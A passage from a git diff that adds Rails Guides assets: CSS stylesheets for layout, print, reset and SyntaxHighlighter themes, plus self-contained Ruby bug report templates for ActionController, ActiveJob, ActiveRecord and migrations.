-65px; + } +} + +#guides { + width: 37em; + display: block; + background: #980905; + border-radius: 1em; + color: #f1938c; + padding: 1.5em 2em; + position: absolute; + z-index: 10; + top: -0.25em; + left: 0; + padding-top: 2em; +} + +#guides.visible { + display: block !important; +} + +.guides-section dt, .guides-section dd { + font-weight: normal; + font-size: 0.722em; + margin: 0; + padding: 0; +} +.guides-section dt { + margin: 0.5em 0 0; + padding:0; +} +#guides a { + background: none !important; + color: #FFF; + text-decoration: none; +} +#guides a:hover { + text-decoration: underline; +} +.guides-section-container { + display: flex; + flex-direction: column; + flex-wrap: wrap; + width: 100%; + max-height: 35em; +} + +.guides-section { + min-width: 5em; + margin: 0 2em 0.5em 0; + flex: auto; + max-width: 12em; +} + +.guides-section dd { + line-height: 1.3; + margin-bottom: 0.5em; +} + +#guides hr { + display: block; + border: none; + height: 1px; + color: #f1938c; + background: #f1938c; +} + +/* Headings +--------------------------------------- */ + +h1 { + font-size: 2.5em; + line-height: 1em; + margin: 0.6em 0 .2em; + font-weight: bold; +} + +h2 { + font-size: 2.1428em; + line-height: 1em; + margin: 0.7em 0 .2333em; + font-weight: bold; +} + +@media screen and (max-width: 480px) { + h2 { + font-size: 1.45em; + } +} + +h3 { + font-size: 1.7142em; + line-height: 1.286em; + margin: 0.875em 0 0.2916em; + font-weight: bold; +} + +@media screen and (max-width: 480px) { + h3 { + font-size: 1.45em; + } +} + +h4 { + font-size: 1.2857em; + line-height: 1.2em; + margin: 1.6667em 0 .3887em; + font-weight: bold; +} + +h5 { + font-size: 1em; + line-height: 1.5em; + margin: 1em 0 .5em; + font-weight: bold; +} + +h6 { + font-size: 1em; + line-height: 1.5em; + margin: 1em 0 .5em; + font-weight: normal; +} + +.section { + padding-bottom: 0.25em; + border-bottom: 1px solid #999; +} + +/* Content +--------------------------------------- */ + +.pic { + margin: 0 2em 2em 0; +} + +#topNav strong {color: #999; margin-left: 0.5em;} +#topNav strong a {color: #FFF;} + +#header h1 { + float: right; + background: url(../images/rails_guides_logo_1x.png) no-repeat; + width: 297px; + text-indent: -9999em; + margin: 0; + padding: 0; +} + +@media +only screen and (-webkit-min-device-pixel-ratio: 2), +only screen and ( min--moz-device-pixel-ratio: 2), +only screen and ( -o-min-device-pixel-ratio: 2/1), +only screen and ( min-device-pixel-ratio: 2), +only screen and ( min-resolution: 192dpi), +only screen and ( min-resolution: 2dppx) { + #header h1 { + background: url(../images/rails_guides_logo_2x.png) no-repeat; + background-size: 160%; + } +} + +@media screen and (max-width: 480px) { + #header h1 { + float: none; + } +} + +#header h1 a { + text-decoration: none; + display: block; + height: 77px; +} + +#feature p { + font-size: 1.2857em; + margin-bottom: 0.75em; +} + +@media screen and (max-width: 480px) { + #feature p { + font-size: 1em; + } +} + +#feature ul {margin-right: 0;} +#feature ul li { + list-style: none; + background: url(../images/check_bullet.gif) no-repeat right 0.5em; + padding: 0.5em 1.75em 0.5em 1.75em; + font-size: 1.1428em; + font-weight: bold; +} + +#mainCol dd, #subCol dd { + padding: 0.25em 0 1em; + border-bottom: 1px solid #CCC; + margin-bottom: 1em; + margin-right: 0; + /*padding-right: 28px;*/ + padding-right: 0; +} + +#mainCol dt, #subCol dt { + font-size: 1.2857em; + padding: 0.125em 0 0.25em 0; + margin-bottom: 0; +} + +@media screen and (max-width: 480px) { + #mainCol dt, #subCol dt { + font-size: 1em; + } +} + +#mainCol dd.work-in-progress, #subCol dd.work-in-progress { + background: #fff9d8 url(../images/tab_yellow.gif) no-repeat left top; + border: none; + padding: 1.25em 1em 1.25em 48px; + margin-right: 0; + margin-top: 0.25em; +} + +#mainCol dd.kindle, #subCol dd.kindle { + background: #d5e9f6 url(../images/tab_info.gif) no-repeat left top; + border: none; + padding: 1.25em 1em 1.25em 48px; + margin-right: 0; + margin-top: 0.25em; +} + +#mainCol div.warning, #subCol dd.warning { + background: #f9d9d8 url(../images/tab_red.gif) no-repeat left top; + border: none; + padding: 1.25em 1.25em 0.25em 48px; + margin-right: 0; + margin-top: 0.25em; +} + +#subCol .chapters {color: #980905;} +#subCol .chapters a {font-weight: bold;} +#subCol .chapters ul a {font-weight: normal;} +#subCol .chapters li {margin-bottom: 0.75em;} +#subCol h3.chapter {margin-top: 0.25em;} +#subCol h3.chapter img {vertical-align: text-bottom;} +#subCol .chapters ul {margin-right: 0; margin-top: 0.5em;} +#subCol .chapters ul li { + list-style: none; + padding: 0 1em 0 0; + background: url(../images/bullet.gif) no-repeat right 0.45em; + margin-right: 0; + font-size: 1em; + font-weight: normal; +} + +#subCol li ul, li ol { margin:0 1.5em; } + +div.code_container { + background: #EEE url(../images/tab_grey.gif) no-repeat right top; + padding: 0.25em 48px 0.5em 1em; +} + +.note { + background: #fff9d8 url(../images/tab_note.gif) no-repeat right top; + border: none; + padding: 1em 48px 0.25em 1em; + margin: 0.25em 0 1.5em 0; +} + +.info { + background: #d5e9f6 url(../images/tab_info.gif) no-repeat right top; + border: none; + padding: 1em 48px 0.25em 1em; + margin: 0.25em 0 1.5em 0; +} + +#mainCol div.todo { + background: #fff9d8 url(../images/tab_yellow.gif) no-repeat right top; + border: none; + padding: 1em 48px 0.25em 1em; + margin: 0.25em 0 1.5em 0; +} + +.note code, .info code, .todo code { + background: #fff; +} + +#mainCol ul li { + list-style:none; + background: url(../images/grey_bullet.gif) no-repeat right 0.5em; + padding-right: 1em; + margin-right: 0; +} + +#subCol .content { + font-size: 0.7857em; + line-height: 1.5em; +} + +#subCol .content li { + font-weight: normal; + background: none; + padding: 0 0 1em; + font-size: 1.1667em; +} + +/* Clearing +--------------------------------------- */ + +.clearfix:after { + content: "."; + display: block; + height: 0; + clear: both; + visibility: hidden; +} + +* html .clearfix {height: 1%;} +.clearfix {display: block;} + +/* Same bottom margin for special boxes than for regular paragraphs, this way +intermediate whitespace looks uniform. */ +div.code_container, div.important, div.caution, div.warning, div.note, div.info { + margin-bottom: 1.5em; +} + +/* Remove bottom margin of paragraphs in special boxes, otherwise they get a +spurious blank area below with the box background. */ +div.important p, div.caution p, div.warning p, div.note p, div.info p { + margin-bottom: 1em; +} + +/* Edge Badge +--------------------------------------- */ + +#edge-badge { + position: fixed; + right: 0px; + top: 0px; + z-index: 100; + border: none; +} + +/* Foundation v2.1.4 http://foundation.zurb.com */ +/* Artfully masterminded by ZURB */ + +/* Mobile */ +@media only screen and (max-width: 767px) { + table.responsive { margin-bottom: 0; } + + .pinned { position: absolute; right: 0; top: 0; background: #fff; width: 35%; overflow: hidden; overflow-x: scroll; border-left: 1px solid #ccc; border-right: 1px solid #ccc; } + .pinned table { border-left: none; border-right: none; width: 100%; } + .pinned table th, .pinned table td { white-space: nowrap; } + .pinned td:last-child { border-bottom: 0; } + + div.table-wrapper { position: relative; margin-bottom: 20px; overflow: hidden; border-left: 1px solid #ccc; } + div.table-wrapper div.scrollable table { margin-right: 35%; } + div.table-wrapper div.scrollable { overflow: scroll; overflow-y: hidden; } + + table.responsive td, table.responsive th { position: relative; white-space: nowrap; overflow: hidden; } + table.responsive th:first-child, table.responsive td:first-child, table.responsive td:first-child, table.responsive.pinned td { display: none; } + +} diff --git a/guides/assets/stylesheets/print.css b/guides/assets/stylesheets/print.css new file mode 100644 index 0000000000..6280422469 --- /dev/null +++ b/guides/assets/stylesheets/print.css @@ -0,0 +1,52 @@ +/* Guides.rubyonrails.org */ +/* Print.css */ +/* Created January 30, 2009 */ +/* Modified January 31, 2009 +--------------------------------------- */ + +body, .wrapper, .note, .info, code, #topNav, .L, .R, #frame, #container, #header, #navigation, #footer, #feature, #mainCol, #subCol, .content {position: static; text-align: left; text-indent: 0; background: White; color: Black; border-color: Black; width: auto; height: auto; display: block; float: none; min-height: 0; margin: 0; padding: 0;} + +body { + background: #FFF; + font-size: 10pt !important; + font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; + line-height: 1.5; + color: #000; + padding: 0 3%; + } + +.hide, .nav { + display: none !important; + } + +a:link, a:visited { + background: transparent; + font-weight: bold; + text-decoration: underline; + } + +hr { + background:#ccc; + color:#ccc; + width:100%; + height:2px; + margin:2em 0; + padding:0; + border:none; +} + +h1,h2,h3,h4,h5,h6 { font-family: "Helvetica Neue", Arial, "Lucida Grande", sans-serif; } +code { font:.9em "Courier New", Monaco, Courier, monospace; display:inline} + +img { float:left; margin:1.5em 1.5em 1.5em 0; } +a img { border:none; } + +blockquote { + margin:1.5em; + padding:1em; + font-style:italic; + font-size:.9em; +} + +.small { font-size: .9em; } +.large { font-size: 1.1em; } diff --git a/guides/assets/stylesheets/reset.css b/guides/assets/stylesheets/reset.css new file mode 100644 index 0000000000..cb14fbcc55 --- /dev/null +++ b/guides/assets/stylesheets/reset.css @@ -0,0 +1,43 @@ +/* Guides.rubyonrails.org */ +/* Reset.css */ +/* Created January 30, 2009 +--------------------------------------- */ + +html, body, div, span, applet, object, iframe, +h1, h2, h3, h4, h5, h6, p, blockquote, pre, +a, abbr, acronym, address, big, cite, code, +del, dfn, em, font, img, ins, kbd, q, s, samp, +small, strike, strong, sub, sup, tt, var, +b, u, i, center, +dl, dt, dd, ol, ul, li, +fieldset, form, label, legend, +table, caption, tbody, tfoot, thead, tr, th, td { + margin: 0; + padding: 0; + border: 0; + outline: 0; + font-size: 100%; + background: transparent; +} + +body {line-height: 1; color: black; background: white;} +a img {border:none;} +ins {text-decoration: none;} +del {text-decoration: line-through;} + +:focus { + -moz-outline:0; + outline:0; + outline-offset:0; +} + +/* tables still need 'cellspacing="0"' in the markup */ +table {border-collapse: collapse; border-spacing: 0;} +caption, th, td {text-align: left; font-weight: normal;} + +blockquote, q {quotes: none;} +blockquote:before, blockquote:after, +q:before, q:after { + content: ''; + content: none; +} diff --git a/guides/assets/stylesheets/style.css b/guides/assets/stylesheets/style.css new file mode 100644 index 0000000000..3dad5124f4 --- /dev/null +++ b/guides/assets/stylesheets/style.css @@ -0,0 +1,14 @@ +/* Guides.rubyonrails.org */ +/* Style.css */ +/* Created January 30, 2009 +--------------------------------------- */ + +/* +--------------------------------------- +Import advanced style sheet +--------------------------------------- +*/ + +@import url("reset.css"); +@import url("main.css"); +@import url("turbolinks.css"); diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCore.css b/guides/assets/stylesheets/syntaxhighlighter/shCore.css new file mode 100644 index 0000000000..7e1e199343 --- /dev/null +++ b/guides/assets/stylesheets/syntaxhighlighter/shCore.css @@ -0,0 +1,226 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +.syntaxhighlighter a, +.syntaxhighlighter div, +.syntaxhighlighter code, +.syntaxhighlighter table, +.syntaxhighlighter table td, +.syntaxhighlighter table tr, +.syntaxhighlighter table tbody, +.syntaxhighlighter table thead, +.syntaxhighlighter table caption, +.syntaxhighlighter textarea { + -moz-border-radius: 0 0 0 0 !important; + -webkit-border-radius: 0 0 0 0 !important; + background: none !important; + border: 0 !important; + bottom: auto !important; + float: none !important; + height: auto !important; + left: auto !important; + line-height: 1.1em !important; + margin: 0 0 0.5px 0 !important; + outline: 0 !important; + overflow: visible !important; + padding: 0 !important; + position: static !important; + right: auto !important; + text-align: left !important; + top: auto !important; + vertical-align: baseline !important; + width: auto !important; + box-sizing: content-box !important; + font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important; + font-weight: normal !important; + font-style: normal !important; + font-size: 1em !important; + min-height: inherit !important; + min-height: auto !important; +} + +.syntaxhighlighter { + width: 100% !important; + margin: 1em 0 1em 0 !important; + position: relative !important; + overflow: auto !important; + font-size: 1em !important; +} +.syntaxhighlighter.source { + overflow: hidden !important; +} +.syntaxhighlighter .bold { + font-weight: bold !important; +} +.syntaxhighlighter .italic { + font-style: italic !important; +} +.syntaxhighlighter .line { + white-space: pre !important; +} +.syntaxhighlighter table { + width: 100% !important; +} +.syntaxhighlighter table caption { + text-align: left !important; + padding: .5em 0 0.5em 1em !important; +} +.syntaxhighlighter table td.code { + width: 100% !important; +} +.syntaxhighlighter table td.code .container { + position: relative !important; +} +.syntaxhighlighter table td.code .container textarea { + box-sizing: border-box !important; + position: absolute !important; + left: 0 !important; + top: 0 !important; + width: 100% !important; + height: 100% !important; + border: none !important; + background: white !important; + padding-left: 1em !important; + overflow: hidden !important; + white-space: pre !important; +} +.syntaxhighlighter table td.gutter .line { + text-align: right !important; + padding: 0 0.5em 0 1em !important; +} +.syntaxhighlighter table td.code .line { + padding: 0 1em !important; +} +.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line { + padding-left: 0em !important; +} +.syntaxhighlighter.show { + display: block !important; +} +.syntaxhighlighter.collapsed table { + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar { + padding: 0.1em 0.8em 0em 0.8em !important; + font-size: 1em !important; + position: static !important; + width: auto !important; + height: auto !important; +} +.syntaxhighlighter.collapsed .toolbar span { + display: inline !important; + margin-right: 1em !important; +} +.syntaxhighlighter.collapsed .toolbar span a { + padding: 0 !important; + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar span a.expandSource { + display: inline !important; +} +.syntaxhighlighter .toolbar { + position: absolute !important; + right: 1px !important; + top: 1px !important; + width: 11px !important; + height: 11px !important; + font-size: 10px !important; + z-index: 10 !important; +} +.syntaxhighlighter .toolbar span.title { + display: inline !important; +} +.syntaxhighlighter .toolbar a { + display: block !important; + text-align: center !important; + text-decoration: none !important; + padding-top: 1px !important; +} +.syntaxhighlighter .toolbar a.expandSource { + display: none !important; +} +.syntaxhighlighter.ie { + font-size: .9em !important; + padding: 1px 0 1px 0 !important; +} +.syntaxhighlighter.ie .toolbar { + line-height: 8px !important; +} +.syntaxhighlighter.ie .toolbar a { + padding-top: 0px !important; +} +.syntaxhighlighter.printing .line.alt1 .content, +.syntaxhighlighter.printing .line.alt2 .content, +.syntaxhighlighter.printing .line.highlighted .number, +.syntaxhighlighter.printing .line.highlighted.alt1 .content, +.syntaxhighlighter.printing .line.highlighted.alt2 .content { + background: none !important; +} +.syntaxhighlighter.printing .line .number { + color: #bbbbbb !important; +} +.syntaxhighlighter.printing .line .content { + color: black !important; +} +.syntaxhighlighter.printing .toolbar { + display: none !important; +} +.syntaxhighlighter.printing a { + text-decoration: none !important; +} +.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a { + color: black !important; +} +.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a { + color: #008200 !important; +} +.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a { + color: blue !important; +} +.syntaxhighlighter.printing .keyword { + color: #006699 !important; + font-weight: bold !important; +} +.syntaxhighlighter.printing .preprocessor { + color: gray !important; +} +.syntaxhighlighter.printing .variable { + color: #aa7700 !important; +} +.syntaxhighlighter.printing .value { + color: #009900 !important; +} +.syntaxhighlighter.printing .functions { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .constants { + color: #0066cc !important; +} +.syntaxhighlighter.printing .script { + font-weight: bold !important; +} +.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a { + color: gray !important; +} +.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a { + color: red !important; +} +.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a { + color: black !important; +} diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css new file mode 100644 index 0000000000..bc7afd3898 --- /dev/null +++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css @@ -0,0 +1,116 @@ +/** + * Theme by fxn, took shThemeEclipse.css as starting point. + */ +.syntaxhighlighter { + background-color: #eee !important; + font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace !important; + overflow-y: hidden !important; + overflow-x: auto !important; +} +.syntaxhighlighter .line.alt1 { + background-color: #eee !important; +} +.syntaxhighlighter .line.alt2 { + background-color: #eee !important; +} +.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 { + background-color: #c3defe !important; +} +.syntaxhighlighter .line.highlighted.number { + color: #eee !important; +} +.syntaxhighlighter table caption { + color: #222 !important; +} +.syntaxhighlighter .gutter { + color: #787878 !important; +} +.syntaxhighlighter .gutter .line { + border-right: 3px solid #d4d0c8 !important; +} +.syntaxhighlighter .gutter .line.highlighted { + background-color: #d4d0c8 !important; + color: #eee !important; +} +.syntaxhighlighter.printing .line .content { + border: none !important; +} +.syntaxhighlighter.collapsed { + overflow: visible !important; +} +.syntaxhighlighter.collapsed .toolbar { + color: #3f5fbf !important; + background: #eee !important; + border: 1px solid #d4d0c8 !important; +} +.syntaxhighlighter.collapsed .toolbar a { + color: #3f5fbf !important; +} +.syntaxhighlighter.collapsed .toolbar a:hover { + color: #aa7700 !important; +} +.syntaxhighlighter .toolbar { + color: #a0a0a0 !important; + background: #d4d0c8 !important; + border: none !important; +} +.syntaxhighlighter .toolbar a { + color: #a0a0a0 !important; +} +.syntaxhighlighter .toolbar a:hover { + color: red !important; +} +.syntaxhighlighter .plain, .syntaxhighlighter .plain a { + color: #222 !important; +} +.syntaxhighlighter .comments, .syntaxhighlighter .comments a { + color: #708090 !important; +} +.syntaxhighlighter .string, .syntaxhighlighter .string a { + font-style: italic !important; + color: #6588A8 !important; +} +.syntaxhighlighter .keyword { + color: #64434d !important; +} +.syntaxhighlighter .preprocessor { + color: #646464 !important; +} +.syntaxhighlighter .variable { + color: #222 !important; +} +.syntaxhighlighter .value { + color: #009900 !important; +} +.syntaxhighlighter .functions { + color: #ff1493 !important; +} +.syntaxhighlighter .constants { + color: #0066cc !important; +} +.syntaxhighlighter .script { + color: #222 !important; + background-color: transparent !important; +} +.syntaxhighlighter .color1, .syntaxhighlighter .color1 a { + color: gray !important; +} +.syntaxhighlighter .color2, .syntaxhighlighter .color2 a { + color: #222 !important; + font-weight: bold !important; +} +.syntaxhighlighter .color3, .syntaxhighlighter .color3 a { + color: red !important; +} + +.syntaxhighlighter .xml .keyword { + color: #64434d !important; + font-weight: normal !important; +} +.syntaxhighlighter .xml .color1, .syntaxhighlighter .xml .color1 a { + color: #7f007f !important; +} +.syntaxhighlighter .xml .string { + font-style: italic !important; + color: #6588A8 !important; +} diff --git a/guides/assets/stylesheets/turbolinks.css b/guides/assets/stylesheets/turbolinks.css new file mode 100644 index 0000000000..5cb598cef2 --- /dev/null +++ b/guides/assets/stylesheets/turbolinks.css @@ -0,0 +1,3 @@ +.turbolinks-progress-bar { + background-color: #c52f24; +} diff --git a/guides/bug_report_templates/action_controller_gem.rb b/guides/bug_report_templates/action_controller_gem.rb new file mode 100644 index 0000000000..6c74200761 --- /dev/null +++ b/guides/bug_report_templates/action_controller_gem.rb @@ -0,0 +1,52 @@ +# frozen_string_literal: true + +require "bundler/inline" + +gemfile(true) do + source "https://rubygems.org" + + git_source(:github) { |repo| "https://github.com/#{repo}.git" } + + # Activate the gem you are reporting the issue against. + gem "rails", "5.2.0" +end + +require "rack/test" +require "action_controller/railtie" + +class TestApp < Rails::Application + config.root = __dir__ + config.session_store :cookie_store, key: "cookie_store_key" + secrets.secret_key_base = "secret_key_base" + + config.logger = Logger.new($stdout) + Rails.logger = config.logger + + routes.draw do + get "/" => "test#index" + end +end + +class TestController < ActionController::Base + include Rails.application.routes.url_helpers + + def index + render plain: "Home" + end +end + +require "minitest/autorun" + +class BugTest < Minitest::Test + include Rack::Test::Methods + + def test_returns_success + get "/" + assert last_response.ok? + end + + private + def app + Rails.application + end +end diff --git a/guides/bug_report_templates/action_controller_master.rb b/guides/bug_report_templates/action_controller_master.rb new file mode 100644 index 0000000000..6d53e957d9 --- /dev/null +++ b/guides/bug_report_templates/action_controller_master.rb @@ -0,0 +1,50 @@ +# frozen_string_literal: true + +require "bundler/inline" + +gemfile(true) do + source "https://rubygems.org" + + git_source(:github) { |repo| "https://github.com/#{repo}.git" } + + gem "rails", github: "rails/rails" +end + +require "action_controller/railtie" + +class TestApp < Rails::Application + config.root = __dir__ + secrets.secret_key_base = "secret_key_base" + + config.logger = Logger.new($stdout) + Rails.logger = config.logger + + routes.draw do + get "/" => "test#index" + end +end + +class TestController < ActionController::Base + include Rails.application.routes.url_helpers + + def index + render plain: "Home" + end +end + +require "minitest/autorun" +require "rack/test" + +class BugTest < Minitest::Test + include Rack::Test::Methods + + def test_returns_success + get "/" + assert last_response.ok? + end + + private + def app + Rails.application + end +end diff --git a/guides/bug_report_templates/active_job_gem.rb b/guides/bug_report_templates/active_job_gem.rb new file mode 100644 index 0000000000..eb9d1316e9 --- /dev/null +++ b/guides/bug_report_templates/active_job_gem.rb @@ -0,0 +1,29 @@ +# frozen_string_literal: true + +require "bundler/inline" + +gemfile(true) do + source "https://rubygems.org" + + git_source(:github) { |repo| "https://github.com/#{repo}.git" } + + # Activate the gem you are reporting the issue against. + gem "activejob", "5.2.0" +end + +require "minitest/autorun" +require "active_job" + +class BuggyJob < ActiveJob::Base + def perform + puts "performed" + end +end + +class BuggyJobTest < ActiveJob::TestCase + def test_stuff + assert_enqueued_with(job: BuggyJob) do + BuggyJob.perform_later + end + end +end diff --git a/guides/bug_report_templates/active_job_master.rb b/guides/bug_report_templates/active_job_master.rb new file mode 100644 index 0000000000..ae3ef7752f --- /dev/null +++ b/guides/bug_report_templates/active_job_master.rb @@ -0,0 +1,28 @@ +# frozen_string_literal: true + +require "bundler/inline" + +gemfile(true) do + source "https://rubygems.org" + + git_source(:github) { |repo| "https://github.com/#{repo}.git" } + + gem "rails", github: "rails/rails" +end + +require "active_job" +require "minitest/autorun" + +class BuggyJob < ActiveJob::Base + def perform + puts "performed" + end +end + +class BuggyJobTest < ActiveJob::TestCase + def test_stuff + assert_enqueued_with(job: BuggyJob) do + BuggyJob.perform_later + end + end +end diff --git a/guides/bug_report_templates/active_record_gem.rb b/guides/bug_report_templates/active_record_gem.rb new file mode 100644 index 0000000000..d88304a219 --- /dev/null +++ b/guides/bug_report_templates/active_record_gem.rb @@ -0,0 +1,49 @@ +# frozen_string_literal: true + +require "bundler/inline" + +gemfile(true) do + source "https://rubygems.org" + + git_source(:github) { |repo| "https://github.com/#{repo}.git" } + + # Activate the gem you are reporting the issue against. + gem "activerecord", "5.2.0" + gem "sqlite3" +end + +require "active_record" +require "minitest/autorun" +require "logger" + +# This connection will do for database-independent bug reports. +ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:") +ActiveRecord::Base.logger = Logger.new(STDOUT) + +ActiveRecord::Schema.define do + create_table :posts, force: true do |t| + end + + create_table :comments, force: true do |t| + t.integer :post_id + end +end + +class Post < ActiveRecord::Base + has_many :comments +end + +class Comment < ActiveRecord::Base + belongs_to :post +end + +class BugTest < Minitest::Test + def test_association_stuff + post = Post.create! + post.comments << Comment.create! + + assert_equal 1, post.comments.count + assert_equal 1, Comment.count + assert_equal post.id, Comment.first.post.id + end +end diff --git a/guides/bug_report_templates/active_record_master.rb b/guides/bug_report_templates/active_record_master.rb new file mode 100644 index 0000000000..780456b7b6 --- /dev/null +++ b/guides/bug_report_templates/active_record_master.rb @@ -0,0 +1,48 @@ +# frozen_string_literal: true + +require "bundler/inline" + +gemfile(true) do + source "https://rubygems.org" + + git_source(:github) { |repo| "https://github.com/#{repo}.git" } + + gem "rails", github: "rails/rails" + gem "sqlite3" +end + +require "active_record" +require "minitest/autorun" +require "logger" + +# This connection will do for database-independent bug reports. +ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:") +ActiveRecord::Base.logger = Logger.new(STDOUT) + +ActiveRecord::Schema.define do + create_table :posts, force: true do |t| + end + + create_table :comments, force: true do |t| + t.integer :post_id + end +end + +class Post < ActiveRecord::Base + has_many :comments +end + +class Comment < ActiveRecord::Base + belongs_to :post +end + +class BugTest < Minitest::Test + def test_association_stuff + post = Post.create! + post.comments << Comment.create! + + assert_equal 1, post.comments.count + assert_equal 1, Comment.count + assert_equal post.id, Comment.first.post.id + end +end diff --git a/guides/bug_report_templates/active_record_migrations_gem.rb b/guides/bug_report_templates/active_record_migrations_gem.rb new file mode 100644 index 0000000000..5dfd49fb38 --- /dev/null +++ b/guides/bug_report_templates/active_record_migrations_gem.rb @@ -0,0 +1,60 @@ +# frozen_string_literal: true + +require "bundler/inline" + +gemfile(true) do + source "https://rubygems.org" + + git_source(:github) { |repo| "https://github.com/#{repo}.git" } + + # Activate the gem you are reporting the issue against. + gem "activerecord", "5.2.0" + gem "sqlite3" +end + +require "active_record" +require "minitest/autorun" +require "logger" + +# This connection will do for database-independent bug reports. +ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:") +ActiveRecord::Base.logger = Logger.new(STDOUT) + +ActiveRecord::Schema.define do + create_table :payments, force: true do |t| + t.decimal :amount, precision: 10, scale: 0, default: 0, null: false + end +end + +class Payment < ActiveRecord::Base +end + +class ChangeAmountToAddScale < ActiveRecord::Migration[5.2] + def change + reversible do |dir| + dir.up do + change_column :payments, :amount, :decimal, precision: 10, scale: 2, default: 0, null: false + end + + dir.down do + change_column :payments, :amount, :decimal, precision: 10, scale: 0, default: 0, null: false + end + end + end +end + +class BugTest < Minitest::Test + def test_migration_up + ChangeAmountToAddScale.migrate(:up) + Payment.reset_column_information + + assert_equal "decimal(10,2)", Payment.columns.last.sql_type + end + + def test_migration_down + ChangeAmountToAddScale.migrate(:down) + Payment.reset_column_information + + assert_equal "decimal(10,0)", Payment.columns.last.sql_type + end +end diff --git a/guides/bug_report_templates/active_record_migrations_master.rb b/guides/bug_report_templates/active_record_migrations_master.rb new file mode 100644 index 0000000000..b0fe3bc660 --- /dev/null +++ b/guides/bug_report_templates/active_record_migrations_master.rb @@ -0,0 +1,59 @@ +# frozen_string_literal: true + +require "bundler/inline" + +gemfile(true) do + source "https://rubygems.org" + + git_source(:github) { |repo| "https://github.com/#{repo}.git" } + + gem "rails", github: "rails/rails" + gem "sqlite3" +end + +require "active_record" +require "minitest/autorun" +require "logger" + +# This connection will do for database-independent bug reports. +ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:") +ActiveRecord::Base.logger = Logger.new(STDOUT) + +ActiveRecord::Schema.define do + create_table :payments, force: true do |t| + t.decimal :amount, precision: 10, scale: 0, default: 0, null: false + end +end + +class Payment < ActiveRecord::Base +end + +class ChangeAmountToAddScale < ActiveRecord::Migration[6.0] + def change + reversible do |dir| + dir.up do + change_column :payments, :amount, :decimal, precision: 10, scale: 2, default: 0, null: false + end + + dir.down do + change_column :payments, :amount, :decimal, precision: 10, scale: 0, default: 0, null: false + end + end + end +end + +class BugTest < Minitest::Test + def test_migration_up + ChangeAmountToAddScale.migrate(:up) + Payment.reset_column_information + + assert_equal "decimal(10,2)", Payment.columns.last.sql_type + end + + def test_migration_down + ChangeAmountToAddScale.migrate(:down) + Payment.reset_column_information + + assert_equal "decimal(10,0)", Payment.columns.last.sql_type + end +end diff --git a/guides/bug_report_templates/benchmark.rb b/guides/bug_report_templates/benchmark.rb new file mode 100644 index 0000000000..4a8ce787c7 --- /dev/null +++ b/guides/bug_report_templates/benchmark.rb @@ -0,0 +1,49 @@ +# frozen_string_literal: true + +require "bundler/inline" + +gemfile(true) do + source "https://rubygems.org" + + git_source(:github) { |repo| "https://github.com/#{repo}.git" } + + gem "rails", github: "rails/rails" + gem "benchmark-ips" +end + +require "active_support" +require "active_support/core_ext/object/blank" + +# Your patch goes here. +class String + def fast_blank? + true + end +end + +# Enumerate some representative scenarios here. +# +# It is very easy to make an optimization that improves performance for a +# specific scenario you care about but regresses on other common cases. +# Therefore, you should test your change against a list of representative +# scenarios. Ideally, they should be based on real-world scenarios extracted +# from production applications. +SCENARIOS = { + "Empty" => "", + "Single Space" => " ", + "Two Spaces" => " ", + "Mixed Whitspaces" => " \t\r\n", + "Very Long String" => " " * 100 +} + +SCENARIOS.each_pair do |name, value| + puts + puts " #{name} ".center(80, "=") + puts + + Benchmark.ips do |x| + x.report("blank?") { value.blank? } + x.report("fast_blank?") { value.fast_blank? } + x.compare! + end +end diff --git a/guides/bug_report_templates/generic_gem.rb b/guides/bug_report_templates/generic_gem.rb new file mode 100644 index 0000000000..3fd54437f7 --- /dev/null +++ b/guides/bug_report_templates/generic_gem.rb @@ -0,0 +1,23 @@ +# frozen_string_literal: true + +require "bundler/inline" + +gemfile(true) do + source "https://rubygems.org" + + git_source(:github) { |repo| "https://github.com/#{repo}.git" } + + # Activate the gem you are reporting the issue against. + gem "activesupport", "5.2.0" +end + +require "active_support" +require "active_support/core_ext/object/blank" +require "minitest/autorun" + +class BugTest < Minitest::Test + def test_stuff + assert "zomg".present? + refute "".present? + end +end diff --git a/guides/bug_report_templates/generic_master.rb b/guides/bug_report_templates/generic_master.rb new file mode 100644 index 0000000000..ec65fee292 --- /dev/null +++ b/guides/bug_report_templates/generic_master.rb @@ -0,0 +1,22 @@ +# frozen_string_literal: true + +require "bundler/inline" + +gemfile(true) do + source "https://rubygems.org" + + git_source(:github) { |repo| "https://github.com/#{repo}.git" } + + gem "rails", github: "rails/rails" +end + +require "active_support" +require "active_support/core_ext/object/blank" +require "minitest/autorun" + +class BugTest < Minitest::Test + def test_stuff + assert "zomg".present? + refute "".present? + end +end diff --git a/guides/rails_guides.rb b/guides/rails_guides.rb new file mode 100644 index 0000000000..a72acdbd06 --- /dev/null +++ b/guides/rails_guides.rb @@ -0,0 +1,30 @@ +# 